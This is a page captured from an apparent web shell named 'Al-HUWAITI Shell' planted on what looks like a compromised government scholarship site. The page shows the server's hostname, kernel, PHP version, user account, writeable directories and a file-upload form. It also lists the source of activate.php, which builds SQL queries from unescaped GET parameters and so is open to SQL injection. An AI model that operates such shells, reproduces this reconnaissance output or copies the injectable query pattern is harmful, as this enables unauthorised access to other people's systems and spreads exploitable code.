Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : ondostategov ( 1002)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/ondostategov/public_html/scholarshipboardondostate/ossms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/ondostategov/public_html/scholarshipboardondostate/ossms/activate.php
<?php
	include('conn.php');
	session_start();
	if(isset($_GET['code']))
	{
		$user_id=$_GET['uid'];
		$code=$_GET['code'];
		$query=mysqli_query($conn,"select * from registration where user_id='$user_id'");
		$row=mysqli_fetch_array($query);

		if($row['code']==$code)
		{
			//activate account
			mysqli_query($conn,"update registration set status='1' where user_id='$user_id'");
?>
			<p>Account Verification Complete!</p>
			<p><a href="login.php">Login Now</a></p>
			<?php
		}
		else
		{
			$_SESSION['sign_msg'] = "Something went wrong. Please sign up again.";
			header('location:register.php');
		}
	}
	else
	{
		header('location:login.php');
	}
?>

Al-HUWAITI Shell